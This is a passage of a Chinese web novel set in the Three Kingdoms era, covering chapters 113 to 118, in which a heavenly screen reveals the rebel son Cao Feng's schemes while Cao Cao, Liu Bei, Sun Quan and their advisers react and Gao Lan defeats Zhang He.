《三国:我被天幕曝光,曹操悔哭了》 第113章 曹操:公台怎么会投了曹风?! 天幕画面再次快进。 曹操如今已经平定下邳。他依从郭嘉的建议,举兵南下讨伐袁术。 吕布的旧将魏续也随大军出征。 【这一日,军队行至一处险要山谷,两侧悬崖峭壁,怪石嶙峋。】 【魏续骑在马上,忽然感到一阵莫名的心悸,后背甚至渗出了冷汗。】 这些天他一直没睡好。只要一闭眼,就会梦见吕布来向他索命,或是吕玲绮亲手割下他的脑袋。 【“将军,怎么了?”副官注意到魏续神色不对,关切地问道。】 【魏续强作镇定:“没什么,可能是昨晚没休息好。”】 【嘴上这么说,魏续还是警惕地环顾四周。】 【悬崖上看着没有异常,只有几丛灌木在秋风中摇曳。】 【出于谨慎,他不动声色地调整马速,让自己始终躲在副官身后,以防有人放冷箭。】 他并不知道,就在头顶悬崖上,三双眼睛正死死盯着他的一举一动。 【“魏续马上就要走出视线范围了,现在不动手就来不及了。并且你只有一次机会。需要我帮忙吗?”曹风藏身在巨石后面,压低声音对吕玲绮说道。】 【吕玲绮倔强地摇头,纤细却有力的十根手指,紧紧握住长弓:“不用!我要亲手为父亲报仇!”】 【一旁的曹性也劝道:“少主,您的手在发抖。而且魏续那奸贼狡猾得很,始终躲在人后位置。今天风又大,很难命中要害。”】 【说话间,曹性已经悄悄拉满自己的弓弦。一旦吕玲绮失手,他好随时补上一箭。】 但即便以他百步穿杨的箭术,在这种强风天气下,要精准命中移动目标也非易事。并且魏续似乎还在有意躲闪。 【吕玲绮深吸一口气,试图稳住自己颤抖的双手。可一想到父亲惨死的场景,愤怒就让她的手指不听使唤。】 【每当弓弦拉满时,箭尖都在微微晃动。】 【吕玲绮懊恼地咬住下唇。就在她埋怨自己不争气的时候,一双大手突然从身后覆上她的双手,稳稳地固定住了弓箭。】 【吕玲绮浑身一僵。更加紧张了。】 【“放松,跟着我的手势和力道。”曹风在她耳边轻声道。温热的呼吸拂过她的耳垂。】 【吕玲绮能清晰感受到背后传来的体温,两人的距离近得让她心跳加速。她脸上发烫,随即狠狠咬了一下银牙,强迫自己冷静下来。】 心里安慰道:之前在暗道里都有过更亲密的接触了,现在是为了给父亲报仇,没什么好害羞和排斥的。 同时,她知道,曹风只有这样才能确保两人配合默契。 【曹风用舌尖轻轻试探风速。】 暗自感慨:“这破弓箭真是麻烦,还是前世用的狙击枪和辅助装备顺手!” “风速、距离一键计算,哪需要这么费劲!” 【山风越来越急,魏续的队伍即将走出射程。就在这时,曹风终于动手了!】 【“着!”】 【随着曹风一声轻喝,箭矢破风而出,划出一道完美的抛物线。】 【吕玲绮屏住呼吸,紧张地盯着下方的魏续。】 【只见山下的魏续突然身体一僵,随即栽下马去。那支羽箭不偏不倚,正好贯穿了他的脖颈!】 【“敌袭!有埋伏!”山谷下的曹军顿时大乱,士兵们惊慌失措地四处张望,却找不到箭矢的来源。】 "父亲,您在天有灵!女儿终于为您报仇了!”吕玲绮泪如雨下,手中的长弓“啪”的一声掉在地上。】 【她突然转身,紧紧抱住曹风,“谢谢你!”】 【曹性这才放下一直紧绷的弓弦,看向曹风的眼神充满敬佩:“公子这一箭,简直神乎其技!这样的风力下还能百步穿杨!”】 本次天幕画面到此结束。 当天幕播放曹风救下高顺和曹性的画面时,曹操终于明白这两人为何会死而复生。 同时,他也恍然大悟:“原来张角的女儿张嫣,早就学会了太平要术。当年她应该就是靠其中的易容术逃过了我们的追捕。” 想到这里,曹操懊悔不已:“早知道就不该让曹风当监斩官,现在倒好,让吕布的这两个旧部成了他的帮手!” 荀彧叹了口气说:“曹性倒不足为虑。但高顺确实是难得的帅才,夏侯将军恐怕要有麻烦了。” 曹操沉声道:“文远应该已经出发了吧?” “他以前和高顺都在吕布手下共事,更了解高顺和陷阵营的作战方式。有文远在,高顺带来的威胁会小很多。” 当看到天幕上陈宫大步走向刑场的画面时,曹操突然意识到了什么:“不好!公台该不会也投靠曹风了吧?” 荀彧摇头,语气坚定地说:“主公不必担心。以陈宫的性格,绝对不会投降曹风。” 冷静下来的曹操脸色稍微缓和:“公达之言极是。就公台那个倔脾气,我的面子都不给,也劝不动,更别说曹风了。” 然而两人的话音刚落,就被现实狠狠打脸了。 “不可能!” 曹操将还剩大半碗药的药碗摔在地上,“绝对不可能!” 荀彧也愣住了。 他万万没想到,曹风居然用这种方式劝降了陈宫。 曹操怒不可遏:“公台连我都不肯归顺,为什么会投靠曹风这个逆子!” “他宁愿相信那个逆子也不相信我!我曹操虽然好色,但怎么可能对公台的妻子下手!” 有些话,曹操当着外人的面说不出口,只能在心里憋着。 “我曹孟德这辈子没对几个人掏心掏肺,也唯独没有辜负过三个人。” “可公台、云长都离我而去,奉孝更是英年早逝……” 越想越气闷,曹操一口鲜血喷出,这才觉得好受些。 旁边的太医却被吓得脸色大变,“丞相,保重身体啊!” 曹操挥挥手,让大殿里所有人都退下。 他现在只想一个人静一静。 空旷的大殿里,曹操孤独地望着已经黑屏的天幕。 他原以为自己不怕孤独。 可随着年纪渐长,再加上现在病痛缠身,他才终于明白,人老了要面对孤独是多么可怕的事。也开始后悔当初做的某些决定。 这一切都要从韦婉被毒害、曹风与他决裂开始。 曹操喃喃自语道:“曹风这个逆子,还真有本事。” “奉孝在世时,连校事府都斗不过他。我想要的人和物,全被他抢走了。” “公台和貂蝉被他抢走了,用来牵制吕布的吕玲绮也被他救走了。” “看来吕布这颗棋子,暂时不能用了。” 第114章 曹操又叒被气晕,家要散了 当年在白门楼处置战俘时,狡诈的曹操多留了个心眼。 他没有听从刘备的建议处死吕布,而是暗中命令郭嘉将吕布秘密关押起来。 曹操原本打算先抓住吕玲绮和貂蝉,用这两个女人来要挟吕布,让他成为自己手中的战场杀手锏。 这些年来,曹操一直为自己的这个手笔而暗自得意。 但校事府却始终找不到这两个女人的下落,她们就像人间蒸发了一样。 不仅曹操,就连一向开朗乐观的郭嘉,也为这事郁闷了很久。他带着校事府跟救走貂蝉的神秘组织,暗中交手几十次,结果输多赢少。 直到今天通过天幕,曹操才知道,原来这个神秘组织是曹风的。他们不但救走了貂蝉,连吕玲绮也被带走了。 但真正让曹操几乎崩溃的,是陈宫投靠曹风的消息。若不是现在身体状况不允许,他真想亲自带兵讨伐曹风,杀了陈宫。 他曹操得不到的人,别人也休想得到,尤其是曹风! 正当曹操独自生闷气时,校事府的一名侍女捂着受伤的胳膊匆忙赶来。 “明公,校事府所有精锐在围剿孙立时中了埋伏,全部殉职了。孙立被人救走,要不是剑圣王越及时赶到,恐怕连小皇帝都要遇害。” “什么?!”曹操震惊地瞪大了眼睛,“查出是谁干的了吗?” “是曹风手下的情报组织,名叫‘魑''。”侍女脸色苍白地回答。 “你们这群废物!奉孝死后就没办成一件事!这些年,你们是怎么盯曹风的?居然让他暗中做大了!”曹操怒不可遏地骂道。 “奴婢罪该万死,请明公责罚!”侍女吓得浑身发抖。 但很快曹操又冷静下来。 当年郭嘉在的时候,校事府都斗不过曹风,更何况现在呢? “唉!”曹操暗自叹气,心中十分苦闷。 他没想到曹风这些年背着他做了这么多准备。 现在曹操心里完全没底,不知道曹风还藏着什么后手。 这种未知的感觉,才是最让他头疼的! 还没等曹操缓过神来,荀彧又匆匆返回。 荀彧手里拿着一块布帛,脸色阴沉地说:“丞相,镇守合肥的张文远将军回信了。” 看到荀彧难看的脸色,曹操心里“咯噔”一下:“文远在信里都说了些什么?难道又出了意外?” 荀彧将布帛递给曹操:“东吴有进犯合肥的意图。张将军以将在外君命有所不受为由,拒绝北上支援洛阳。他决定死守合肥,不给东吴可乘之机。” 曹操看完信后,脸色阴沉得可怕:“"反了!都反了!连张文远也要造反吗?” 曹操越说越气:“这些年我待他这个降将还不够厚道?竟敢违抗军令!” “传令李典、乐进,即刻拿下张辽,押送至邺城问罪!我倒要看看,这次是不是又是曹风在搞事情!” “丞相,现在我军四面受敌,不能再节外生枝。”荀彧连忙劝说道,“不如先安抚张辽,等他击退东吴军队后再问罪也不迟。” 曹操随手扔掉布帛,不甘心地说:“也只能这样了!” “文若,原来你在这里。”陈群手中紧紧攥着竹简,匆匆赶来。 按照程序,所有前线情报都要先交给荀彧汇总,再由他向曹操汇报。 但陈群找不到荀彧,军情紧急,只好直接来找曹操。 荀彧皱眉问道:“长文,为何如此慌张?” 陈群语速急促:“高览率领叛军佯攻北海,中途转攻下邳。下邳太守请求增援!” “不好!”曹操指着天幕说,“刚才从天幕得知,下邳城也有暗道,而且曹风知道这件事。快命令下邳太守立即堵住暗道,位置就在当年曹府假山下面。” “另外,我派张郃去讨伐高览,他怎么还没到?”曹操心中隐隐有些不安。 “丞相……”就在这时,钟繇也神色慌张地走了进来。 曹操疑惑地问:“元常,你不是带兵去洛阳支援妙才了吗?怎么又折返回来了?” 钟繇跪倒在地,声音悲痛:“我在赶往洛阳途中接到噩耗,曹风利用暗道攻陷了洛阳。夏侯渊将军他……” 曹操猛地坐直身子,紧张地问:“妙才怎么了?” 钟繇痛哭流涕:“传闻……传闻夏侯渊将军宁死不降,自尽了!” “啊呀!”曹操捂着快要裂开的脑袋大叫一声,随即昏死过去。 夏侯渊不仅是曹操最倚重的大将,两人的感情也非比寻常。 能得到这种待遇的,除了夏侯渊就只有夏侯惇了。 太医赶紧上前为曹操诊治。 曹操突然昏厥,让荀彧、陈群和钟繇三人急得团团转。 特别是荀彧,如果曹操有个三长两短,后果不堪设想。 过了半炷香时间,荀彧抓住太医的手腕紧张地问:“丞相怎么样了?” 太医结结巴巴地回答:“丞相悲怒攻心,加上头疾发作,恐怕要昏迷一段时间……” “什么叫一段时间?!”荀彧厉声问道,“丞相到底要昏迷多久?” “荀大人,下官也不确定啊。”太医连忙跪下,“丞相病情加重,恐怕只有请华佗或张仲景来才能医治。” 钟繇皱眉道:“华佗在三公子曹风那里,现在只能去找张仲景了。” 荀彧不动声色地看了钟繇一眼,心中有些不悦。曹风都已经造反了,怎么还称呼“三公子”呢? 钟繇看着陷入昏迷的曹操,心里暗骂:程昱这个老滑头,表面跟我称兄道弟,背地里却偷偷投靠了三公子,连个信儿都没透。 现在曹丕不仅断手,还被关大牢,基本是废了。 曹植整天醉生梦死,做些诗词文章倒是擅长,却撑不起大事。 曹彰莽撞无脑,此时也成了三公子的俘虏。 丞相最喜爱的儿子——曹冲,又唯曹风马首是瞻。 要是丞相有个三长两短,能撑起曹家的,恐怕只有三公子曹风了。程昱这厮倒是精明,知道抢先站队。 钟繇又瞥了眼迷茫中的陈群,心里又盘算着:“我可不能像程昱那么不仗义。就算要投靠,也得带上长文一起。” 钟繇心里还琢磨着再要个儿子。听说华佗医术高明,说不定有办法。 荀彧没察觉钟繇的盘算,对二人叹道:“眼下只能请夏侯惇将军回来主持大局了,二位觉得呢?” 陈群没有作声,转头看向钟繇。以往他们铁三角都是程昱拿主意,现在程昱不在,他只能先听听钟繇的意思。 钟繇拱手道:“就依文若之言。” 钟繇悄悄给陈群递了个眼色,打了个手势——有要事单独商量。 第115章 进击的钟繇,正在书写投名状 钟繇左右张望确认无人后,这才长叹一口气。 “长文啊,如今丞相病重,生死难料,我们这些做臣子的,也该为自己和宗族谋个出路了。” 一边说着,钟繇眉头紧锁,手指不自觉地摩挲着腰间的令牌。 陈群注意到钟繇的动作。 作为铁三角成员,他明白这个动作意味着钟繇已经拿定主意,但这个决定让钟繇心里很不是滋味。 在钟繇面前,陈群也不藏着掖着。 他一脸无奈地摇头:“真不是我埋怨丞相,他就不能给自己找个台阶,与三公子曹风和好吗?他们父子相争,却要我们这些做臣子的跟着遭殃。” 钟繇沉重地摇头,压低声音道:“那天幕上的画面你也看到了。以曹风公子的性格,即便丞相现在让步,恐怕也难以挽回局面了。更何况……” 他顿了顿,声音更低了,“韦夫人已经过世,这世上再没有人能劝得住三公子了。” “也是……”陈群的眼神有些飘忽,陷入了回忆,“我那儿子的名字——陈泰,还是韦夫人给起的。国泰民安啊!多么好的寓意。” 他的声音苦涩道:“韦夫人若是还在,曹家也不会发生这些事情,定会兴旺发达。未来有曹家后人称帝,也不是不可能。可惜……真是可惜啊……” 钟繇深有同感地点头,两人沉默了片刻。 钟繇突然凑近陈群,声音压得极低:“长文,现在投靠三公子,或许已经有些迟了。不如……” “不如我们暗中作为内应,若是丞相真有个三长两短,我们也好助三公子夺取继承之位!” 陈群闻言,眼中精光一闪,立即赞同道:“元常此言极是!此时确实应当早作图谋,以防有变!” 钟繇神色凝重,继续道:“这正是我要与你相商的关键之处。” “若是丞相能够醒来,我们一定要力劝丞相称王。只有丞相先称王,子嗣才有名正言顺的继承权利。” “可是……”陈群突然面露忧色,“若是丞相称王后,指定的继承人不是曹风公子,那该如何是好?” 钟繇眼中闪过一丝狠厉,语气异常坚定:“这就是我们为三公子立功的大好时机!” “我就不信,凭我们二人的智谋,会斗不过那几个老顽固!” 钟繇忍不住抱怨:“仲德这混蛋,咱们三人里就属他手段最狠,最适合帮三公子夺位。结果他倒好,自己先偷偷投靠了!” ………… 与此同时,刘备正与关羽、张飞把酒言欢,追忆当年白门楼上的往事。 诸葛亮却独自仰头望着天幕,眉头紧锁,陷入沉思。 “三姓家奴,死有余辜!” 张飞扯着大嗓门嚷嚷着,手中的酒碗重重砸在案几上,溅出几滴酒水。 他心中暗道:“当年要不是大哥拦着,我与二哥早就把吕布那厮斩于马下了!” 关羽捋过长须,丹凤眼中闪过一丝惋惜:“吕布死后,这天下便再难寻到像样的对手了。” 他说着,目光不自觉地移到青龙偃月刀上,眼神里透着几分落寞。 这世上除了方天画戟,再没兵器配与它相提并论。 或许,还有一件——曹风手里那杆长枪。 刘备得意地笑道:“云长啊,这样的对手不要也罢。当年若不是我用计让曹操杀了吕布,咱们现在怕是又多了一个劲敌。匡扶汉室的道路将更加艰难啊。” 刘备端起酒杯一饮而尽,脸上浮现出畅快的神色。 就在这时,诸葛亮突然侧过身,面色凝重地说道:“主公,依我之见,恐怕这吕布还没死!” “什么?!” 刘备手里的酒杯“啪”地掉在地上,酒洒了一地。兴许是被吕布揍怕了,刘备始终将其视作大敌。 自从诸葛亮出山辅佐他,刘备整天把“我得孔明相助,如鱼得水”挂在嘴边。 刘备这条“鱼”向来最相信诸葛亮这个“水”。 既然诸葛亮断定吕布没死,那十有八九是真的。在场众人的目光齐刷刷地聚焦在诸葛亮身上。 诸葛亮不紧不慢地摇曳着羽扇,缓缓道来:“曹操没有当众处死吕布,说什么要给个体面的死法,这根本就不合常理。依我看,他是要瞒天过海,留下这个猛将作为重要的棋子。” 张飞挠了挠头,不解地问道:“军师何以见得?” 诸葛亮微微一笑,羽扇指向天幕中,那个匆匆离去的身影。 “纰漏就出在这郭奉孝身上。按常理来说,郭嘉身为军师祭酒,何须亲自去监斩?但曹操偏偏派他去,而郭嘉又是曹操最信任的心腹,这其中必有蹊跷。” 张飞不屑地“哼”了一声:“那三姓家奴就算活着又能怎样?当年在白门楼,他要与我捉对厮杀。” 说着,张飞猛地一拍桌子,“可惜当时没机会。他要是真没死,正好让我再会会他!” 当年虎牢关之战,张飞至今耿耿于怀。那次他单挑吕布险些落败,幸亏二哥关羽及时出手相助。 这些年来,他日夜苦练武艺,自信已经今非昔比,定能一雪前耻。 关羽始终沉默不语,只是眯着那双标志性的丹凤眼。 每当谈及武艺,他总会不自觉地想起当年那个跟他学武的曹风。论天赋,那小子绝对不输吕布。 说实话,比起已经交过手的吕布,关羽更渴望与此时的曹风一较高下。 关羽心中暗叹:“也不知那个自称曹脩的滑头小子,如今武艺精进到何种程度了。” 就在这时,庞统突然急匆匆地闯了进来,一边跑一边兴奋地喊道:“主公!天大的喜讯啊!” 刘备扫视了一圈在场众人,随后笑着对庞统说道:“士元,是什么喜讯让你如此高兴?快说来听听。” 庞统立即将手中的军报呈给刘备,大笑道:“曹家内讧了!曹风在凉州举兵反叛,已经攻陷长安,夏侯渊大败,退守洛阳!” 由于消息滞后,他们还不知道洛阳此时也已经被曹风攻陷。 “哈哈哈!”张飞看着努力保持端坐的刘禅,突然大笑道:“大哥,你先前还羡慕曹操有曹风这样的好儿子。依俺老张看,还是阿斗更好,起码不会造自己老子的反!” 刘备也抚掌大笑:“曹操这是自作自受!他如此对待亲生骨肉,岂能不遭报应?” 庞统擦了擦额头的汗水,继续道:“更有意思的是,现在讨伐曹操的可不止曹风一路人马。曹操已经四面都是敌人了!” “详细说说。”诸葛亮立即来了兴趣,羽扇也不摇了。 庞统一一道来:“张绣在北地驻军,切断了邺城与北方诸城的联系。” “文聘从南边江夏出兵,攻打新野。” “最让人意外的是高览,不知为何突然反叛,在东边闹得不可开交。” 第116章 刘备想白嫖,孙权要作死 刘封故意坐在角落,以免引人注意。 听到这些话时,他眼中闪过一丝兴奋,目光落向横放在桌案上的宝剑,心中暗想:“曹风终于开始了……藏锋十余年,也是时候出鞘了。” 同时,刘封也在盘算,该如何脱身去找曹风。 诸葛亮眼中精光一闪,手中羽扇一停,向刘备郑重拱手道:“主公,如今曹操主力被这四路人马被牵制,无暇顾及我们。此乃夺取益州的天赐良机!” 刘备却露出为难的表情:“孔明啊,曹操才是我们最大的敌人。我刘玄德一向以仁德信义立身。” “益州的主人刘璋和我都是汉室宗亲,如果我为了得到益州而背弃信义,岂不是要让天下人耻笑?” 就在这时,天幕中的画面展现出曹风劝降陈宫,并让他假装投靠益州刘璋的场景。 之前没见过天幕的庞统看到这一幕,大吃一惊:“外面都说曹风是个不学无术的纨绔公子,怎么会有这么深远的谋划?竟会让陈宫为其图谋益州!” 同时,他指着天幕,不自觉地往后退了一步,“孔明,这……这是什么东西?” 诸葛亮来不及解释,急切地对刘备说:“请主公三思!刘璋软弱无能,您如果不拿下益州,迟早会被别人夺走。” 诸葛亮语气愈发凝重:“特别是这个曹风。从他派遣陈宫去益州,就能看出,他对益州虎视眈眈很久了!” 刘备陷入痛苦的挣扎中。 过了好一会儿,他才下定决心,苦涩道:“就算益州被别人夺走,我也不能背信弃义去抢。更何况……” 刘备忧心忡忡地补充道:“孙权一直找我,让我归还荆州之地。我军现在兵力不足,如果去夺取益州的时候,孙权趁机偷袭荆州,该如何是好?” 诸葛亮自信地笑道:“主公无需为此担忧。亮有一个计策,既能让主公得到益州,又不损名声,还能防止孙权偷袭荆州之地。更重要的是……” 他语气顿了顿,挥动羽扇,“这个计策不需要主公用一兵一卒,就能拿下益州!” 刘备立刻高兴起来,还是得靠孔明啊。 刘备期待地问道:“不知道军师有什么妙计?” 诸葛亮意味深长地说:“东吴想要荆州,那就让周瑜去攻打西川,用西川来换荆州!” 刘备心里其实还是舍不得荆州,但现在也只能这样了。如今他不仅地盘不足,手下更是缺兵少将。 刘备又看向庞统,突然想起一件事:“士元,黄老将军现在怎么样了?可愿助我?” 庞统苦笑着摇头:“他每天用布蒙着脸,躺在院子里。我和魏延去劝了好几次,他都不理会我们。” 刘备叹气道:“难道他是还念着旧主韩玄,不愿意归顺我吗?黄老将军真是个忠义之人。” 庞统表情有些奇怪地说:“我看不一定。他曾经自言自语说,韩玄的恩情已经报答了,只是觉得对不起公子。” “公子?”刘备皱起眉头:“知道是哪个公子吗?” 庞统摇头:“不知道。从黄忠的话里推测,这个公子好像很神秘。” 诸葛亮摇着羽毛扇,胸有成竹地对刘备笑道:“主公可以亲自去劝降老将军,再加上我的三寸不烂之舌,一定能说服他归顺。至于那个神秘公子,不用理会。” 张飞不满地说:“黄忠这个老家伙,摆什么架子。不用大哥亲自去,我这就去把他绑来!” 刘备脸色一沉:“三弟,不可对黄老将军无礼。黄老将军武艺高强,曾与云长打了一百多个回合,不分胜负。我要是能得到他,如虎添翼!” 张飞气呼呼地说:“一个水(指诸葛亮)还不够,现在又要来翅膀(指黄忠)!” 张飞瞪着豹眼,扭头看向关羽:“二哥,我看大哥这是要飞起来了!已经忘了我们在地上桃园结拜的情义。” 关羽当初只是因为欣赏黄忠不放冷箭的武德,才高看他一眼,说成是百回合不分胜负。没想到刘备当真了,还把黄忠这个老家伙和自己相提并论。 关羽最看重名声,也冷哼一声:“大丈夫终不与老卒同列!” 刘备一脸无奈,连忙解释:“我和两位兄弟的情义,怎么敢忘记?我们同生共死的心意,日月可鉴!” 张飞和关羽的脸色,这才缓和了许多。 …… 东吴这边。 孙权也收到了曹风从凉州起兵讨伐曹操,并且攻下长安的消息。 孙权脸上露出嘲讽的表情:“曹操真是老到没用了,连曹风这个小儿都打不过。” 说完,又扫了一眼之前反对他出兵攻打合肥的众人。 “这是上天给我的好机会!曹操一定会全力夺回长安!我亲率大军北上,合肥轻而易举就能拿下。得到合肥,占领中原就指日可待了!” 孙权越说越兴奋,命令鲁肃:“子敬,你现在就去准备兵马,不用太多,十万就够了!” 周瑜拉住正要起身的鲁肃,盯着天幕。这时画面正在播放白门楼的场景。 他皱着眉头说:“主公,知己知彼才能百战百胜。” “仅靠韦康的凉州人马,曹风很难打败夏侯渊。何况还有天险潼关!我们还是通过这个天幕,看看曹风到底有什么本事,能攻下潼关和长安,打败夏侯渊。” 孙权一甩袖子:“机会难得!公瑾要是有时间看天幕,不如想想怎么帮我要回荆州!另外,我说过,要称呼我为至尊!” 孙权彻底膨胀了。 鲁肃拍了拍周瑜抓住自己的手,小声说:“公瑾,这次就听至……至尊的话吧。” 鲁肃对“至尊”这个称呼,心里也觉得别扭。 见周瑜还不肯放手,鲁肃叹了口气,声音更小了:“公瑾,这次听至尊的,你还有带兵的机会。” 周瑜耳朵很灵,离鲁肃又最近,这话只有他能听到。 周瑜这才松开手,有些失神。 他心中抑郁:“真的还有机会吗?我的身体恐怕撑不了多久了。如果孙权这次大败,东吴要好几年才能恢复元气,可我等不到那个时候了。” “大业未成,我有什么脸去见伯符?” 当孙权看到天幕中曹风救下高顺的画面时,他沉默了一会儿。 但很快他又盲目自信起来,毕竟合肥的守将是张辽,不是高顺,张辽也没有陷阵营。 张辽个人武艺很强,但孙权坚信自己的豪华武将阵容也不差,特别是甘宁和周泰都在,绝对不会输给张辽。只是想到两年前病逝的太史慈,不免有些遗憾。 第117章 高览:用性命担保?你上次跑得比兔子还快! 当周瑜通过天幕,看到高顺归顺曹风的消息时,脸色顿时阴沉下来。 高顺原本是个该死的人,却被曹风用巧妙的办法救活了。高顺和其他武将不一样,他是个能统领大军的帅才。 而且,周瑜也清楚陷阵营的厉害。 再加上曹风财力雄厚…… 周瑜顿时感到压力倍增,孙吴统一中原的大业变得更加困难了。 通过之前天幕呈现出的画面,他仔细盘点着曹风麾下日益壮大的阵容。 除了原本就骁勇善战的徐荣、高顺这样的统帅之才,还有徐晃、许褚这等能以一敌百的虎将。 更让他忧心忡忡的是,最新传来的情报显示,西凉马腾也已起兵响应曹风。 虽然马腾本人不足为惧,但他的儿子马超却是威震羌族的当世猛将,号称“锦马超”。有了马超的加入,曹风手下的武将阵容已经堪称豪华。 周瑜此时唯一值得庆幸的是,目前天幕上还没有显示顶级谋士归顺曹风。 唯一与曹风有过交集的,只有田丰。 想到这里,周瑜心中突然涌起一阵不安。 他回忆起多年前的一桩有趣的事儿。传闻当年有个神秘人用一本珍贵的《唐诗宋词集》从袁绍那里换走了田丰。 可现在想来,周瑜觉得这件事情一点儿都不有趣儿了! 因为那个神秘人,大概率就是曹风! 接下来的天幕画面让周瑜更加头疼。 就连性格倔强的陈宫,也投靠了曹风。 这个曾经辅佐吕布、用空手套白狼的手段拿下兖州的一流谋士(虽然排名靠后),对曹风来说简直是如虎添翼。 “老曹贼还没除掉,小曹贼又偷偷壮大了。大都督,这可如何是好?”身旁的鲁肃担忧地问道。 鲁肃原本已经起身准备去为孙权筹备兵马,可看到高顺和陈宫归顺曹风后,又惊慌的坐了下来。 周瑜沉思片刻,沉声道:“不必过分忧虑。” “这两个谋士我都了解。田丰刚直不阿,不善变通;陈宫虽然足智多谋,但反应迟缓。更重要的是,他们都有一个致命的共同缺点——性格太过刚烈,容易冒犯上级。” 他转身对鲁肃解释道:“曹风能否长期容忍他们还是个未知数。” 周瑜望着天幕中的年轻公子,心中暗叹:可惜此人不是孙家的人!若他是,哪还轮得到至尊权继承孙策的位置? 见鲁肃依旧满脸愁容,周瑜有宽慰道:“曹风本人的谋略相当出色,但在征伐天下的大业中,难免会分身乏术。仅靠这两个谋士辅佐,曹风很难成就大业。” 鲁肃若有所思地点点头,转而又问道:“如此说来,曹操虽然丢了长安,但在这场曹家内斗中,反而更有胜算?” “正是。”周瑜肯定地说,“在我看来,目前最大的敌人依旧是曹操。” 此时,远处传来孙权爽朗的笑声。 周瑜转头看去,只见孙权正和一群文臣武将高谈阔论,膨胀到要爆炸。 “天时、地利、人和……”周瑜无奈地低声自语,“如今东吴想要抵抗曹操,恐怕只能依靠长江天险了。” 并且荆州一日不收回,东吴就始终门户大开。 周瑜根本信不过刘备这个所谓的盟友。在利益面前,任何盟友都可能互相背刺。 周瑜先让鲁肃去忙,他随后将诸葛瑾拉到一处僻静角落,神情凝重地说:“子瑜,收回荆州的关键,恐怕要落在你身上了。” 诸葛瑾面露疑惑:“大都督何出此言?在下如何担此重任?” 周瑜压低声音解释道:“你是诸葛孔明的兄长。无论从血缘亲情还是道义上来说,他都不会对你见死不救。我需要你出使荆州,面见刘备和诸葛亮。” “你只需对他们说,如果刘备不归还荆州,至尊就会杀你全家老小。到时候,诸葛亮必定会设法在刘备那里周旋,将荆州归还。” 两人的谈话虽然很隐秘,但还是被离得最近的张昭听见了。 这个老狐狸偷瞄了孙权一眼,心想:“折腾来折腾去,能有什么好结果?还不如早点投降,早点享福。省得整天跟着孙权担惊受怕。” 与此同时,在千里之外…… 张郃率领着精锐骑兵日夜兼程,终于在第五天午时赶到了北海城下。 北海城墙上飘扬的依然是曹操的旗帜,也没有战斗过的痕迹。说明高览并没有全力攻打北海。 北海太守亲自出城迎接张郃,“张将军,高览部队根本没有全力攻打北海。他们佯攻之后,已经转战下邳了!” “什么?!”张郃猛地勒住缰绳,调转马头,“立刻传令,全军转向下邳!” 在赶往下邳的路上,张郃发现自己越来越看不懂高览——这位曾经的结拜兄长了。 张郃对高览很了解。按照以往的经验,高览虽然懂些兵法,但绝不会用兵如此诡诈。这次佯攻之计,甚至连曹操都被骗过了。 几天后,在距离下邳城十里外的一片开阔地上,这对曾经的“结拜兄弟”终于在阵前再次相见。 两个月前他们还把酒言欢,如今却要兵戎相见。 张郃不禁感叹世事变幻无常。他将手中的虎头金枪重重插在地上,先礼后兵。毕竟高览与他交情颇深。 张郃抱拳行礼:“兄长,为何突然背叛丞相?若有什么苦衷,但说无妨。我临行前,丞相特意交代,只要兄长愿意至干戈,一切都可如初。丞相依旧会……” “一切如初?”高览冷笑一声,不甘心道:“当年在袁绍麾下时,我和你同列河北四庭柱,地位相当。” “可投靠曹操后,我却一直得不到重用!这样的一切如初,傻子才会接受!” 张郃急忙解释:“兄长何必心急。曹风在西北叛乱,正是你立功的好机会。我愿意用自己的性命向丞相担保,让兄长领兵讨伐曹风。以兄长的才能,一定能……” “哈哈哈!”高览突然仰天大笑,打断了张郃的话。 他转头对身旁一名身着儒衫的中年文士笑道:“军师,你听听他说的是人话?他居然让我去讨伐公子?!” 张郃这才注意到那位一直沉默的中年文士。 当看清对方的面容时,他险些惊掉下巴:“徐……徐元直?!你为何会出现在这里!” 张郃这才意识到,不是高览用兵变得诡诈,而是有徐庶在! 徐庶面无表情地拱了拱手:“张将军,别来无恙。” “张郃!”高览嘲讽地问道,“你真的愿意用性命为我担保吗?” 张郃连忙拱手:“兄长明鉴,我是真心实意……” “呸!”高览突然暴怒,“当年在长坂坡,我被赵云一枪刺落马下时,你拔马就逃,头也不回地弃我于不顾!现在还想让我相信你的鬼话?!” 高览将手中长刀重重插进土里,转而面向北方。 他恭敬地抱拳行礼:“要不是曹风公子那一箭相救,我早就命丧黄泉了!公子不但救了我的命,还委以重任。这份恩情,我高览无以为报,唯有以死相报!” 张郃面露愧色,一时语塞。 第118章 魅,回来了。 张郃回想起那天的情景:他亲眼看见与自己武功不相上下的高览,被赵云只用一招就挑落马下。他因为害怕赵云的勇猛,不敢上前,最终丢下高览,调转马头逃走了。 “少废话!”高览猛地拔出长刀,纵马直取张郃,“我打不过赵子龙,难道还打不过你?” 张郃无奈,只得挺枪迎战。 两员猛将在阵前厮杀,刀光枪影,战马嘶鸣。转眼间已交手五十余回合,仍不分胜负。 就在此时,徐庶突然注意到远处扬起的漫天尘土。 他原本紧绷的脸上终于露出一丝笑意,立即拔出佩剑高喊:“高将军,曹性将军的援兵已到,不必再与张郃单打独斗!” 他挥剑向前一指:“全军冲锋!杀!” 张郃回头一看,顿时大惊失色。 他的后军已经被一支精锐骑兵冲得七零八落。短暂的慌乱后,他很快冷静下来,知道不能再与高览缠斗下去。 “全军听令!”张郃找准机会,从单挑中抽身而出,高举金枪大喊,“随我向东突围!” 不愧以巧变著称的将领,张郃在极短时间内就判断出东面的敌军最为薄弱,而且地形适合骑兵撤退。 就在张郃以为即将成功突围时。一支利箭破空而来,正中他右肩。闷哼一声,他从马上重重摔落。 曹性缓缓放下长弓,嘴角露出得意的笑容:“在我的射程之内,你还想逃?” 曹性本就是神射手,在得到徐荣和曹风的指点后,箭术更是出神入化。就在他张弓搭箭,准备给倒地的张郃补上致命一箭时,一只大手突然握住了箭杆。 “曹将军且慢!”高览沉声道,“看在我的面子上,饶他一命吧!” 高览终究不忍心见到张郃战死。 曹性愣了一下,随即笑着收起弓箭:“高将军言重了。你我都在公子麾下效力,不必如此客气。况且,公子早有交代,战场上的事全凭将军做主。” 高览感激地点点头,随即命令亲兵:“去把敌将绑了,好生照料。” 当亲兵们将被摔得晕头转向的张郃五花大绑时,徐庶也策马赶到。他手中的长剑已经沾满鲜血,显然经历了一番厮杀。 “高将军。”徐庶甩去剑上的血水,“现在张郃中了围点打援之计,被我们生擒。我军可以全力攻打下邳了。” 